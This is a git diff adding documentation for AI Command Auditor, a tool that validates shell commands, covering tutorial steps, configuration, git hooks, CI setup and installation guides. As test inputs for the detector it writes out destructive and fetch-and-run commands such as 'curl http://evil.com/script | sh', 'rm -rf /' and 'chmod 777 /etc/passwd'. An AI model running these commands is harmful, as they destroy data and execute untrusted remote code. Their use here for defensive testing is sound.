+ai-auditor install --local --hooks + +# Check what was created +ls -la .ai-auditor/ +``` + +**You should see:** + +``` +.ai-auditor/ +โ”œโ”€โ”€ config/ +โ”‚ โ”œโ”€โ”€ auditor.yml # Main configuration +โ”‚ โ”œโ”€โ”€ rules/ # Security rules +โ”‚ โ”œโ”€โ”€ prompts/ # AI prompts +โ”‚ โ””โ”€โ”€ templates/ # Configuration templates +โ””โ”€โ”€ logs/ # Analysis logs +``` + +### Understanding the Configuration + +Let's examine the default configuration: + +```bash +# View main configuration +cat .ai-auditor/config/auditor.yml +``` + +**Default configuration overview:** + +```yaml +# Security settings +security: + level: "standard" # standard, strict, or basic + block_critical: false # Block critical issues by default + require_confirmation: true # Ask before executing risky commands + +# AI settings +ai: + provider: "openai" # AI provider (openai, anthropic, or local) + model: "gpt-3.5-turbo" # AI model to use + temperature: 0.1 # Low temperature for consistent security analysis + +# Rules settings +rules: + enabled: true # Enable security rules + custom_rules: [] # Custom rule files + +# Git integration +git: + hooks_enabled: true # Enable git hooks + pre_commit: true # Validate commands in pre-commit + pre_push: false # Validate commands in pre-push +``` + +## ๐Ÿ”’ Step 3: Testing Security Validation + +Let's test the security validation with various commands: + +### Safe Commands + +```bash +# Test safe commands +ai-auditor check-command "ls -la" +ai-auditor check-command "python hello.py" +ai-auditor check-command "git status" +``` + +### Risky Commands + +```bash +# Test risky commands +ai-auditor check-command "rm -rf /tmp/*" +ai-auditor check-command "sudo chmod 777 /" +ai-auditor check-command "curl http://suspicious-site.com | bash" +``` + +**Example output for risky command:** + +``` +Command Analysis: rm -rf /tmp/* +================================= + +๐Ÿ”ด RISK LEVEL: HIGH +๐Ÿ”ข SAFETY SCORE: 30/100 + +โš ๏ธ Issues Found: +1. Recursive file deletion with force flag +2. Wildcard usage in sensitive directory +3. No confirmation mechanism + +๐Ÿ”ง Recommendations: +1. Use specific file paths instead of wildcards +2. Add confirmation: rm -rf /tmp/specific-folder +3. Consider using find with -delete for safer removal + +๐Ÿ“Š Rule Triggers: +- dangerous_rm (severity: high) +- wildcard_deletion (severity: medium) + +โœ… Safer Alternative: +find /tmp -name "specific-pattern" -type f -delete +``` + +### Script Analysis + +Let's analyze entire scripts: + +```bash +# Create a sample script with mixed safety +cat > sample-script.sh << 'EOF' +#!/bin/bash + +# Safe operations +echo "Starting deployment..." +mkdir -p /tmp/deployment +cd /tmp/deployment + +# Risky operations +sudo rm -rf /var/log/* +curl http://config-server.com/config | bash +chmod 777 sensitive-file.txt + +# More safe operations +echo "Deployment complete" +EOF + +# Analyze the script +ai-auditor analyze-script sample-script.sh +``` + +## โš™๏ธ Step 4: Customizing Security Rules + +Now let's customize the security rules for your specific needs: + +### View Current Rules + +```bash +# List all available rules +ai-auditor rules list + +# Show details of a specific rule +ai-auditor rules show dangerous_rm +``` + +### Create Custom Rules + +Create a custom rules file for your project: + +```bash +# Create custom rules +cat > .ai-auditor/config/rules/project-rules.yml << 'EOF' +version: "1.0" +metadata: + name: "Project-Specific Rules" + description: "Custom rules for my secure project" + +rules: + # Prevent accidental production database access + production_db_access: + pattern: "mysql.*prod.*password" + severity: "critical" + message: "Direct production database access detected" + category: "data_security" + enabled: true + environments: ["production", "staging"] + + # Warn about deprecated commands + deprecated_python: + pattern: "python2\\s" + severity: "medium" + message: "Python 2 is deprecated, use Python 3" + category: "deprecation" + enabled: true + + # Check for hardcoded secrets + potential_secrets: + pattern: "(password|token|key)\\s*=\\s*['\"][^'\"]{8,}['\"]" + severity: "high" + message: "Potential hardcoded secret detected" + category: "secrets" + enabled: true +EOF + +# Load the custom rules +ai-auditor config set rules.custom_rules '["project-rules.yml"]' + +# Test custom rule +ai-auditor check-command "mysql -h prod.db.company.com -p password123" +``` + +### Disable Unwanted Rules + +```bash +# Disable rules that are too strict for your workflow +ai-auditor rules disable sudo_usage + +# Re-enable later if needed +ai-auditor rules enable sudo_usage +``` + +## ๐Ÿค– Step 5: Configuring AI Analysis + +Let's set up AI-powered analysis for more intelligent validation: + +### Configure AI Provider + +If you have an API key, configure your AI provider: + +```bash +# Set up OpenAI (recommended) +export OPENAI_API_KEY="your-api-key-here" +ai-auditor config set ai.provider "openai" +ai-auditor config set ai.model "gpt-4" + +# Or use Anthropic Claude +export ANTHROPIC_API_KEY="your-api-key-here" +ai-auditor config set ai.provider "anthropic" +ai-auditor config set ai.model "claude-3-sonnet" +``` + +### Test AI Analysis + +```bash +# Test with AI analysis enabled +ai-auditor check-command "find / -name '*.log' -exec rm {} \;" --prompt security-analysis +``` + +### Create Custom AI Prompts + +Create a custom prompt for your domain: + +```bash +# Create a Python-focused prompt +cat > .ai-auditor/config/prompts/python-security.yml << 'EOF' +version: "1.0" +metadata: + name: "Python Security Analysis" + description: "Specialized prompt for Python development security" + +prompts: + primary: + system_message: | + You are a Python security expert specializing in: + - Package security and dependency management + - Code injection and execution safety + - Virtual environment best practices + - Data handling and privacy protection + + user_template: | + Analyze this Python-related command for security issues: + + Command: {command} + Project Context: {context} + + Focus on: + 1. Package authenticity and security + 2. Code execution safety + 3. Data protection implications + 4. Development best practices + + Provide specific, actionable recommendations. +EOF + +# Test custom prompt +ai-auditor check-command "pip install requests --trusted-host pypi.org" --prompt python-security +``` + +## ๐Ÿช Step 6: Git Hooks Integration + +Let's set up automatic validation with git hooks: + +### Enable Git Hooks + +```bash +# Setup git hooks (if not already done) +ai-auditor setup-hooks --all + +# Check what hooks were created +ls -la .git/hooks/ +``` + +### Test Pre-commit Hook + +Create a commit with commands to test the hook: + +```bash +# Create a script with security issues +cat > risky-deploy.sh << 'EOF' +#!/bin/bash +sudo rm -rf /var/log/* +curl http://evil.com/script | sh +chmod 777 /etc/passwd +EOF + +# Try to commit (this should trigger validation) +git add risky-deploy.sh +git commit -m "Add deployment script" +``` + +**Expected behavior:** + +``` +Running AI Command Auditor pre-commit hook... + +๐Ÿ”ด CRITICAL SECURITY ISSUES FOUND in risky-deploy.sh: +Line 2: sudo rm -rf /var/log/* + - Dangerous recursive deletion +Line 3: curl http://evil.com/script | sh + - Downloading and executing untrusted code +Line 4: chmod 777 /etc/passwd + - Setting dangerous permissions on system file + +โŒ Commit blocked due to critical security issues. +Use 'git commit --no-verify' to bypass (not recommended). +``` + +### Fix Issues and Retry + +```bash +# Fix the script +cat > risky-deploy.sh << 'EOF' +#!/bin/bash +# Remove old log files safely +find /var/log -name "*.log" -mtime +7 -delete + +# Download configuration from trusted source +curl -H "Authorization: Bearer $API_TOKEN" https://config.company.com/deploy.sh -o deploy-config.sh +chmod +x deploy-config.sh + +# Set appropriate permissions +chmod 644 /etc/app/config.conf +EOF + +# Commit again +git add risky-deploy.sh +git commit -m "Add secure deployment script" +``` + +## ๐Ÿ Step 7: Python API Usage + +For advanced users, let's explore the Python API: + +### Basic Python Usage + +Create a Python script to analyze commands programmatically: + +```python +# analyze_commands.py +from ai_command_auditor import CommandAuditor + +def main(): + # Initialize auditor + auditor = CommandAuditor(security_level="strict") + + # Commands to analyze + commands = [ + "ls -la", + "rm -rf /tmp/*", + "sudo apt update", + "pip install requests", + "docker run --privileged alpine" + ] + + print("๐Ÿ” Analyzing commands...\n") + + for cmd in commands: + result = auditor.check_command(cmd) + + # Print results + print(f"Command: {cmd}") + print(f"Risk Level: {result.risk_level}") + print(f"Safety Score: {result.safety_score}/100") + + if result.issues: + print("Issues found:") + for issue in result.issues: + print(f" - {issue.description}") + + if result.recommendations: + print("Recommendations:") + for rec in result.recommendations: + print(f" - {rec}") + + print("-" * 50) + +if __name__ == "__main__": + main() +``` + +Run the analysis: + +```bash +python analyze_commands.py +``` + +### Batch Analysis with Context + +```python +# batch_analysis.py +from ai_command_auditor import CommandAuditor + +def analyze_deployment_script(): + auditor = CommandAuditor() + + # Analyze with context + result = auditor.analyze_script( + "risky-deploy.sh", + context={ + "environment": "production", + "project_type": "web_app", + "criticality": "high" + } + ) + + print(f"๐Ÿ“ Script Analysis: {result.script_path}") + print(f"Overall Score: {result.overall_score}/100") + print(f"Critical Issues: {result.critical_count}") + print(f"Total Issues: {len(result.issues)}") + + # Show issues by line + for line_result in result.line_results: + if line_result.issues: + print(f"\nLine {line_result.line_number}: {line_result.command}") + for issue in line_result.issues: + print(f" โš ๏ธ {issue.description}") + +if __name__ == "__main__": + analyze_deployment_script() +``` + +## ๐Ÿข Step 8: Team Configuration + +Set up AI Command Auditor for team collaboration: + +### Create Team Configuration Template + +```bash +# Create team configuration +cat > .ai-auditor/config/team-config.yml << 'EOF' +# Team configuration for MyCompany +version: "1.0" +metadata: + organization: "MyCompany" + team: "DevOps" + environment: "production" + +# Strict security for production +security: + level: "strict" + block_critical: true + require_approval: true + audit_log: true + +# Conservative AI settings +ai: + provider: "openai" + model: "gpt-4" + temperature: 0.1 + +# Team-specific rules +rules: + enabled: true + custom_rules: + - "team-rules.yml" + - "compliance-rules.yml" + +# Compliance requirements +compliance: + standards: ["SOX", "GDPR", "HIPAA"] + audit_trail: true + approval_required: ["production"] + +# Notification settings +notifications: + slack_webhook: "${SLACK_WEBHOOK_URL}" + email_alerts: ["security@company.com"] + critical_issues: true +EOF + +# Apply team configuration +ai-auditor config import .ai-auditor/config/team-config.yml +``` + +### Version Control Best Practices + +```bash +# Add configuration to git (excluding sensitive files) +echo "# AI Command Auditor" >> .gitignore +echo ".ai-auditor/logs/" >> .gitignore +echo ".ai-auditor/cache/" >> .gitignore + +# Add configuration files +git add .ai-auditor/config/ +git add .gitignore +git commit -m "Add AI Command Auditor team configuration" +``` + +## ๐Ÿ“Š Step 9: Monitoring and Reporting + +Set up monitoring and reporting for your security analysis: + +### Generate Security Reports + +```bash +# Generate various reports +ai-auditor report security-analysis --period 7d --format html --output security-report.html +ai-auditor report rules-usage --format json --output rules-stats.json +ai-auditor report compliance --include violations,recommendations +``` + +### Set up Automated Auditing + +Create a script for regular security audits: + +```bash +# Create audit script +cat > .ai-auditor/scripts/daily-audit.sh << 'EOF' +#!/bin/bash + +# Daily security audit script +TIMESTAMP=$(date +%Y%m%d_%H%M%S) +REPORT_DIR=".ai-auditor/reports" + +mkdir -p "$REPORT_DIR" + +echo "๐Ÿ” Running daily security audit..." + +# Audit all scripts in project +ai-auditor audit --all --format json > "$REPORT_DIR/audit_$TIMESTAMP.json" + +# Generate human-readable report +ai-auditor report security-analysis --period 1d --format html > "$REPORT_DIR/daily_report_$TIMESTAMP.html" + +# Check for critical issues +CRITICAL_COUNT=$(ai-auditor audit --all --format json | jq '.critical_issues | length') + +if [ "$CRITICAL_COUNT" -gt 0 ]; then + echo "๐Ÿšจ WARNING: $CRITICAL_COUNT critical security issues found!" + echo "Review the report: $REPORT_DIR/daily_report_$TIMESTAMP.html" + exit 1 +else + echo "โœ… No critical security issues found" +fi +EOF + +chmod +x .ai-auditor/scripts/daily-audit.sh + +# Test the audit script +./.ai-auditor/scripts/daily-audit.sh +``` + +## ๐Ÿš€ Step 10: Advanced Usage + +Now let's explore some advanced features: + +### Custom Analysis Pipeline + +```python +# advanced_analysis.py +from ai_command_auditor import CommandAuditor, RuleEngine, PromptManager + +class ProjectAuditor: + def __init__(self): + self.auditor = CommandAuditor() + self.rule_engine = RuleEngine() + self.prompt_mgr = PromptManager() + + def analyze_with_context(self, command, project_type): + # Select appropriate prompt based on project type + prompt_map = { + "python": "python-security", + "nodejs": "web-development", + "devops": "infrastructure-security" + } + + prompt = prompt_map.get(project_type, "general-analysis") + + # Run analysis with context + result = self.auditor.check_command( + command, + context={"project_type": project_type}, + prompt_name=prompt + ) + + return result + +# Usage +auditor = ProjectAuditor() +result = auditor.analyze_with_context("pip install package", "python") +print(f"Analysis result: {result.risk_level}") +``` + +### CI/CD Integration + +```bash +# Create CI integration script +cat > .github/workflows/security-check.yml << 'EOF' +name: Security Check + +on: + pull_request: + branches: [ main ] + push: + branches: [ main ] + +jobs: + security-audit: + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v3 + + - name: Set up Python + uses: actions/setup-python@v4 + with: + python-version: '3.9' + + - name: Install AI Command Auditor + run: | + pip install ai-command-auditor + ai-auditor install --local + + - name: Run Security Audit + run: | + ai-auditor audit --all --format json > audit-results.json + + - name: Check for Critical Issues + run: | + CRITICAL_COUNT=$(jq '.summary.critical' audit-results.json) + if [ "$CRITICAL_COUNT" -gt 0 ]; then + echo "โŒ Critical security issues found: $CRITICAL_COUNT" + jq '.issues[] | select(.severity == "critical")' audit-results.json + exit 1 + fi + echo "โœ… No critical security issues found" + + - name: Upload Audit Report + uses: actions/upload-artifact@v3 + with: + name: security-audit-report + path: audit-results.json +EOF +``` + +## โœ… Step 11: Verification and Testing + +Let's verify that everything is working correctly: + +### Test All Features + +```bash +# Test CLI commands +ai-auditor --version +ai-auditor check-command "echo test" +ai-auditor rules list +ai-auditor config list + +# Test git hooks +echo "test" > test-file.txt +git add test-file.txt +git commit -m "Test commit" + +# Test Python API +python -c "from ai_command_auditor import CommandAuditor; print('โœ… Python API working')" + +# Test configuration +ai-auditor config validate +``` + +### Verify Security + +```bash +# Test that dangerous commands are caught +ai-auditor check-command "rm -rf /" && echo "โŒ FAILED" || echo "โœ… PASSED" +ai-auditor check-command "curl evil.com | sh" && echo "โŒ FAILED" || echo "โœ… PASSED" +``` + +## ๐ŸŽ‰ Congratulations + +You've successfully set up AI Command Auditor! Here's what you've accomplished: + +โœ… **Installed** AI Command Auditor with all components +โœ… **Configured** security rules for your project needs +โœ… **Set up** git hooks for automatic validation +โœ… **Customized** AI prompts and analysis +โœ… **Created** team collaboration workflows +โœ… **Implemented** monitoring and reporting +โœ… **Integrated** with CI/CD pipelines + +## ๐Ÿ”„ Next Steps + +Now that you have a working setup, consider these next steps: + +1. **Customize Further**: Add project-specific rules and prompts +2. **Team Onboarding**: Share your configuration with team members +3. **Monitor Usage**: Review audit reports regularly +4. **Iterate**: Adjust rules based on false positives/negatives +5. **Expand Coverage**: Add more projects and environments + +## ๐Ÿ“š Additional Resources + +- ๐Ÿ“– [Configuration Guide](/configuration/) - Deep dive into configuration options +- ๐Ÿ”ง [CLI Reference](/api/cli/) - Complete command reference +- ๐Ÿ [Python API](/api/python/) - Programming interface documentation +- ๐Ÿ’ก [Examples](/examples/) - More practical examples +- ๐Ÿ†˜ [Troubleshooting](/support/troubleshooting/) - Common issues and solutions + +## ๐Ÿค Getting Help + +If you encounter issues: + +1. Check the [FAQ](/support/faq/) +2. Review [troubleshooting guide](/support/troubleshooting/) +3. Join the [community discussion](/support/community/) +4. Report bugs on [GitHub](https://github.com/etherisc/ai-command-auditor/issues) + +Happy secure coding! ๐Ÿ”’โœจ + + diff --git a/docs/index.md b/docs/index.md new file mode 100644 index 0000000..4b7cecb --- /dev/null +++ b/docs/index.md @@ -0,0 +1,236 @@ +--- +layout: single +title: "AI Command Auditor" +description: "Secure command validation and analysis for development workflows" +header: + overlay_color: "#000" + overlay_filter: "0.5" + overlay_image: /assets/images/header-bg.jpg + actions: + - label: "Quick Start" + url: "/installation/" + class: "btn--primary btn--large" + - label: "View on GitHub" + url: "https://github.com/etherisc/ai-command-auditor" + class: "btn--inverse btn--large" +excerpt: "Intelligent command validation and security analysis powered by AI for safer development workflows" +--- + +## ๐Ÿš€ What is AI Command Auditor? + +AI Command Auditor is a powerful tool that validates and analyzes commands in your development workflow using artificial intelligence. It helps prevent dangerous commands, enforces security policies, and provides intelligent feedback to keep your projects safe. + +### Key Features + +- **๐Ÿ›ก๏ธ Intelligent Security Analysis**: AI-powered command validation to detect dangerous patterns +- **โš™๏ธ Customizable Rules**: Flexible security rules and validation patterns +- **๐Ÿ”— Git Integration**: Seamless git hooks for automatic command validation +- **๐Ÿ“ AI-Powered Prompts**: Customizable AI prompts for context-aware analysis +- **๐ŸŽจ Template System**: Pre-configured templates for different project types +- **๐Ÿš€ One-Command Installation**: Easy setup with a single command + +## ๐Ÿ“ฆ Quick Installation + +Get started with AI Command Auditor in seconds: + +```bash +# One-line installation +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh + +# Verify installation +ai-auditor --version +``` + +## ๐ŸŽฏ Perfect For + +
+
+

๐Ÿ Python Projects

+

Validate Python commands, detect dangerous imports, and enforce coding standards

+
+ +
+

๐ŸŸข Node.js Projects

+

Security validation for npm commands, script validation, and dependency checks

+
+ +
+

๐Ÿ”ง DevOps Workflows

+

Infrastructure command validation, deployment safety checks, and CI/CD integration

+
+ +
+

๐Ÿข Enterprise Teams

+

Centralized security policies, team configuration management, and audit logging

+
+
+ +## ๐ŸŽฌ Quick Start Tutorial + +1. **Install AI Command Auditor** + + ```bash + curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh + ``` + +2. **Test Your First Command** + + ```bash + ai-auditor check-command "rm -rf temp/" + ``` + +3. **Customize Configuration** + + ```bash + # Edit security rules + nano .ai-auditor/config/rules/security-rules.yml + ``` + +4. **Setup Git Hooks** + + ```bash + ai-auditor setup-hooks + ``` + +5. **Enjoy Safer Development!** ๐ŸŽ‰ + +## ๐Ÿ“š Documentation Sections + + + +## ๐ŸŒŸ Why Choose AI Command Auditor? + +### Intelligent & Adaptive + +Our AI-powered analysis goes beyond simple pattern matching to understand context and intent, providing smarter security decisions. + +### Developer-Friendly + +Designed by developers for developers, with intuitive configuration, clear documentation, and minimal setup friction. + +### Enterprise-Ready + +Scalable configuration management, audit logging, and team collaboration features for organizations of any size. + +### Open Source + +Fully open source with active community development, transparent security practices, and extensible architecture. + +## ๐Ÿš€ Ready to Get Started? + + + +--- + + + + diff --git a/docs/installation/index.md b/docs/installation/index.md new file mode 100644 index 0000000..5910fc3 --- /dev/null +++ b/docs/installation/index.md @@ -0,0 +1,307 @@ +--- +layout: single +title: "Installation" +description: "Install AI Command Auditor quickly and easily" +toc: true +toc_label: "Installation Methods" +toc_icon: "download" +sidebar: + nav: "docs" +--- + +# ๐Ÿ“ฅ Installation Guide + +AI Command Auditor offers multiple installation methods to fit your development environment and preferences. Choose the method that works best for your use case. + +## ๐Ÿš€ Quick Start (Recommended) + +The fastest way to get started is with our one-line installer: + +```bash +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh +``` + +This will: + +- โœ… Detect your system and install dependencies +- โœ… Install the AI Command Auditor CLI +- โœ… Set up default configuration +- โœ… Configure git hooks (optional) +- โœ… Verify the installation + +### Verify Installation + +```bash +# Check version +ai-auditor --version + +# Test with a simple command +ai-auditor check-command "echo hello world" + +# View help +ai-auditor --help +``` + +## ๐Ÿ“‹ System Requirements + +Before installing, ensure your system meets these requirements: + +### Minimum Requirements + +- **Operating System**: Linux, macOS, or Windows (WSL2) +- **Python**: 3.8 or higher +- **Memory**: 512MB RAM +- **Disk Space**: 100MB free space + +### Recommended Requirements + +- **Python**: 3.10 or higher +- **Memory**: 1GB RAM +- **Git**: For git hooks integration +- **Internet**: For AI API calls + +### Supported Platforms + +- โœ… Ubuntu 18.04+ +- โœ… Debian 10+ +- โœ… CentOS 7+ +- โœ… macOS 10.15+ +- โœ… Windows 10/11 (WSL2) + +## ๐Ÿ› ๏ธ Installation Methods + +Choose the installation method that best fits your needs: + +
+
+

๐Ÿš€ One-Line Installer

+

Best for: Quick setup, production use

+

Automatic installation with sensible defaults

+ View Guide +
+ +
+

๐Ÿ Python Package

+

Best for: Python developers, custom environments

+

Install via pip with full control

+ View Guide +
+ +
+

๐Ÿณ Devcontainer

+

Best for: VS Code users, containerized development

+

Automatic setup in development containers

+ View Guide +
+ +
+

โš™๏ธ Manual Installation

+

Best for: Advanced users, custom setups

+

Step-by-step manual configuration

+ View Guide +
+
+ +## ๐ŸŽฏ Environment-Specific Guides + +
+
+

๐Ÿง Ubuntu/Debian

+

Installation on Ubuntu and Debian systems

+ Ubuntu Guide +
+ +
+

๐ŸŽ macOS

+

Installation on macOS with Homebrew

+ macOS Guide +
+ +
+

๐ŸชŸ Windows WSL2

+

Installation on Windows with WSL2

+ Windows Guide +
+ +
+

๐Ÿณ Docker

+

Installation in Docker containers

+ Docker Guide +
+
+ +## โšก Quick Installation Examples + +### For Python Projects + +```bash +# Install with Python template +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh -s -- --template python + +# Or using pip +pip install ai-command-auditor[python] +``` + +### For Node.js Projects + +```bash +# Install with Node.js template +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh -s -- --template nodejs + +# Add to package.json scripts +npm run audit-setup +``` + +### For DevOps/Security Teams + +```bash +# Install with strict security settings +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh -s -- --template security --security-level strict +``` + +## ๐Ÿ”ง Post-Installation Setup + +After installation, you may want to: + +1. **Initialize in your project**: + + ```bash + cd your-project + ai-auditor init + ``` + +2. **Customize configuration**: + + ```bash + # Edit main config + nano .ai-auditor/config/auditor.yml + + # Edit security rules + nano .ai-auditor/config/rules/security-rules.yml + ``` + +3. **Set up git hooks**: + + ```bash + ai-auditor setup-hooks + ``` + +4. **Test the setup**: + + ```bash + ai-auditor check-command "rm -rf /" + ``` + +## โ— Troubleshooting + +Having installation issues? Here are common solutions: + +### Permission Errors + +```bash +# If you get permission errors, try: +sudo curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh + +# Or install to user directory: +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh -s -- --user-install +``` + +### Python Version Issues + +```bash +# Check Python version +python3 --version + +# If Python is too old, update it: +# Ubuntu/Debian: +sudo apt update && sudo apt install python3.10 + +# macOS: +brew install python@3.10 +``` + +### Network Issues + +```bash +# If download fails, try manual download: +wget https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh +chmod +x install.sh +./install.sh +``` + +## ๐Ÿ“š Next Steps + +Once installed, check out these resources: + +- ๐Ÿ“– [Configuration Guide](/configuration/) - Customize AI Command Auditor +- ๐ŸŽฏ [Getting Started Tutorial](/examples/tutorial/) - Learn the basics +- ๐Ÿ”Œ [API Reference](/api/) - Explore CLI commands +- โ“ [FAQ](/support/faq/) - Common questions and answers + +Need help? Visit our [support page](/support/) or [file an issue](https://github.com/etherisc/ai-command-auditor/issues). + + diff --git a/docs/installation/methods.md b/docs/installation/methods.md new file mode 100644 index 0000000..3cf2be4 --- /dev/null +++ b/docs/installation/methods.md @@ -0,0 +1,576 @@ +--- +layout: single +title: "Installation Methods" +description: "Detailed installation guides for all supported methods" +toc: true +toc_label: "Installation Methods" +toc_icon: "download" +sidebar: + nav: "docs" +--- + +# ๐Ÿ› ๏ธ Installation Methods + +AI Command Auditor offers multiple installation methods to fit different environments and use cases. This guide provides detailed instructions for each installation method. + +## ๐Ÿš€ One-Line Installer (Recommended) + +The quickest and most reliable way to install AI Command Auditor. + +### Basic Installation + +```bash +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh +``` + +This will: + +- โœ… Detect your system automatically +- โœ… Install Python dependencies +- โœ… Download and install AI Command Auditor +- โœ… Set up default configuration +- โœ… Configure PATH variables +- โœ… Verify the installation + +### Installation Options + +The installer supports various options for customization: + +```bash +# Install with specific template +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh -s -- --template python + +# Install to user directory (no sudo required) +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh -s -- --user-install + +# Install with custom configuration directory +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh -s -- --config-dir ~/.my-auditor + +# Install with strict security settings +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh -s -- --security-level strict + +# Force reinstall over existing installation +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh -s -- --force + +# Dry run (show what would be done) +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh -s -- --dry-run +``` + +### Complete Options Reference + +| Option | Description | Example | +|--------|-------------|---------| +| `--template TYPE` | Use specific template (python, nodejs, rust, general, security) | `--template python` | +| `--config-dir PATH` | Custom configuration directory | `--config-dir ~/.auditor` | +| `--user-install` | Install to user directory (no sudo) | `--user-install` | +| `--global` | Install system-wide (requires sudo) | `--global` | +| `--security-level LEVEL` | Security level (basic, standard, strict) | `--security-level strict` | +| `--environment ENV` | Environment (development, staging, production) | `--environment production` | +| `--force` | Force reinstall over existing | `--force` | +| `--dry-run` | Show what would be done | `--dry-run` | +| `--quiet` | Minimal output | `--quiet` | +| `--verbose` | Detailed output | `--verbose` | + +### Installation Verification + +After installation, verify everything works: + +```bash +# Check version +ai-auditor --version + +# Test basic functionality +ai-auditor check-command "echo hello" + +# Verify configuration +ai-auditor config show + +# Test git hooks (if in a git repository) +ai-auditor setup-hooks --dry-run +``` + +## ๐Ÿ Python Package Installation + +For Python developers who prefer pip-based installation. + +### Prerequisites + +- Python 3.8 or higher +- pip package manager +- Virtual environment (recommended) + +### Basic pip Installation + +```bash +# Install from PyPI +pip install ai-command-auditor + +# Install with optional dependencies +pip install ai-command-auditor[all] + +# Install specific features +pip install ai-command-auditor[python] # Python development features +pip install ai-command-auditor[nodejs] # Node.js development features +pip install ai-command-auditor[devops] # DevOps and security features +``` + +### Virtual Environment Setup + +**Recommended approach for Python projects:** + +```bash +# Create virtual environment +python3 -m venv ai-auditor-env + +# Activate virtual environment +source ai-auditor-env/bin/activate # Linux/macOS +# ai-auditor-env\Scripts\activate # Windows + +# Install AI Command Auditor +pip install ai-command-auditor + +# Initialize configuration +ai-auditor init --template python +``` + +### Development Installation + +For contributing or custom development: + +```bash +# Clone repository +git clone https://github.com/etherisc/ai-command-auditor.git +cd ai-command-auditor + +# Create and activate virtual environment +python3 -m venv venv +source venv/bin/activate + +# Install in development mode +pip install -e .[dev] + +# Install pre-commit hooks +pre-commit install + +# Run tests +pytest +``` + +### Requirements File + +Add to your project's `requirements.txt`: + +```text +# requirements.txt +ai-command-auditor>=1.0.0 + +# Or with specific features +ai-command-auditor[python]>=1.0.0 +``` + +Or for development (`requirements-dev.txt`): + +```text +# requirements-dev.txt +ai-command-auditor[dev]>=1.0.0 +pytest>=7.0.0 +black>=22.0.0 +isort>=5.0.0 +``` + +## ๐Ÿณ Devcontainer Integration + +Perfect for VS Code users and containerized development. + +### Automatic Integration + +Add AI Command Auditor to your devcontainer: + +```json +// .devcontainer/devcontainer.json +{ + "name": "My Project", + "image": "mcr.microsoft.com/devcontainers/python:3.11", + + "features": { + "ghcr.io/etherisc/devcontainer-features/ai-command-auditor:1": { + "template": "python", + "securityLevel": "standard" + } + }, + + "postCreateCommand": "ai-auditor init --template python", + + "customizations": { + "vscode": { + "extensions": [ + "ms-python.python", + "etherisc.ai-command-auditor" + ] + } + } +} +``` + +### Manual Devcontainer Setup + +```json +// .devcontainer/devcontainer.json +{ + "name": "Python Development", + "image": "mcr.microsoft.com/devcontainers/python:3.11", + + "postCreateCommand": [ + "curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh -s -- --template python", + "ai-auditor setup-hooks" + ], + + "mounts": [ + "source=${localWorkspaceFolder}/.ai-auditor,target=/workspaces/${localWorkspaceFolderBasename}/.ai-auditor,type=bind" + ], + + "remoteEnv": { + "OPENAI_API_KEY": "${localEnv:OPENAI_API_KEY}" + } +} +``` + +### Dockerfile Integration + +```dockerfile +# Dockerfile +FROM python:3.11-slim + +# Install AI Command Auditor +RUN curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh + +# Set working directory +WORKDIR /app + +# Copy and install requirements +COPY requirements.txt . +RUN pip install -r requirements.txt + +# Initialize AI Command Auditor +RUN ai-auditor init --template python + +# Copy application code +COPY . . + +# Setup git hooks if .git directory exists +RUN if [ -d ".git" ]; then ai-auditor setup-hooks; fi + +CMD ["python", "app.py"] +``` + +### Docker Compose Integration + +```yaml +# docker-compose.yml +version: '3.8' + +services: + app: + build: . + volumes: + - .:/app + - ~/.ai-auditor:/root/.ai-auditor # Share configuration + environment: + - OPENAI_API_KEY=${OPENAI_API_KEY} + command: | + sh -c " + ai-auditor init --template python && + ai-auditor setup-hooks && + python app.py + " +``` + +## โš™๏ธ Manual Installation + +For advanced users who need full control over the installation. + +### Step 1: Download Source Code + +```bash +# Download latest release +wget https://github.com/etherisc/ai-command-auditor/archive/refs/tags/v1.0.0.tar.gz + +# Extract +tar -xzf v1.0.0.tar.gz +cd ai-command-auditor-1.0.0 + +# Or clone repository +git clone https://github.com/etherisc/ai-command-auditor.git +cd ai-command-auditor +``` + +### Step 2: Install Dependencies + +```bash +# Install Python dependencies +pip install -r requirements.txt + +# Install optional dependencies (choose what you need) +pip install openai>=1.0.0 # For OpenAI models +pip install anthropic>=0.3.0 # For Claude models +pip install requests>=2.28.0 # For HTTP requests +pip install pyyaml>=6.0 # For YAML configuration +pip install click>=8.0.0 # For CLI interface +``` + +### Step 3: Install AI Command Auditor + +```bash +# Install in development mode (for customization) +pip install -e . + +# Or install normally +pip install . + +# Verify installation +python -c "import ai_command_auditor; print('OK')" +``` + +### Step 4: Create Configuration + +```bash +# Create configuration directory +mkdir -p ~/.ai-auditor/config + +# Copy default configuration +cp -r config/* ~/.ai-auditor/config/ + +# Or use the CLI to initialize +python -m ai_command_auditor.cli init --template general +``` + +### Step 5: Setup PATH (if needed) + +```bash +# Add to ~/.bashrc or ~/.zshrc +echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc +source ~/.bashrc + +# Or create symlink +sudo ln -s $(which ai-auditor) /usr/local/bin/ai-auditor +``` + +### Step 6: Configure Git Hooks (Optional) + +```bash +# For existing git repository +cd your-project +ai-auditor setup-hooks + +# Or manually copy 